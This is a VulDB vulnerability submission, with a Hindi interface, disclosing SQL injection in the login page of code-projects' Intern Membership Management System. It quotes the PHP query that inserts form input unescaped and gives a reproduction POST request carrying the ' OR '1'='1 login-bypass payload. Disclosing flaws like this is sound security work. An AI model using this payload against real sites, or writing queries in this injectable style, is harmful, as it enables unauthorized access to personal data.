जमा करें #624673: code-projects Intern Membership Management System published July 27, 2025 SQL Injectionजानकारी

शीर्षकcode-projects Intern Membership Management System published July 27, 2025 SQL Injection
विवरणSummary The login endpoint student_login.php fails to sanitize user-supplied input in the user_name and password parameters. Root Cause The application directly interpolates the $_POST['user_name'] and $_POST['password'] values into an SQL query string: php $query = mysqli_query($dbconn, "SELECT * FROM registered_users WHERE user_name='$username' and password='$password'"); No escaping or parameterization is applied, allowing arbitrary SQL code injection. Reproduction Send a POST request to student_login.php with the following body: http POST /intern/student_login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded user_name=' OR '1'='1&password=anything&submit=Login The resulting query becomes: sql SELECT * FROM registered_users WHERE user_name='' OR '1'='1' AND password='anything' Since '1'='1' is always true, the login bypasses authentication and grants unauthorized access. Impact An unauthenticated remote attacker can bypass login checks, potentially gaining access to student information or administrative functions. If the same pattern exists elsewhere, further data exposure or system compromise may be possible.
स्रोत⚠️ https://github.com/shenxianyuguitian/intern-mms-vuln/blob/main/README.md
उपयोगकर्ता
 xuanyuesanshi (UID 88126)
सबमिशन29/07/2025 10:06 AM (1 वर्ष पहले)
संयम30/07/2025 10:38 AM (1 day later)
स्थितिस्वीकृत
VulDB प्रविष्टि318291 [code-projects Intern Membership Management System 1.0 /student_login.php user_name/password SQL इंजेक्शन]
अंक20

Want to know what is going to be exploited?

We predict KEV entries!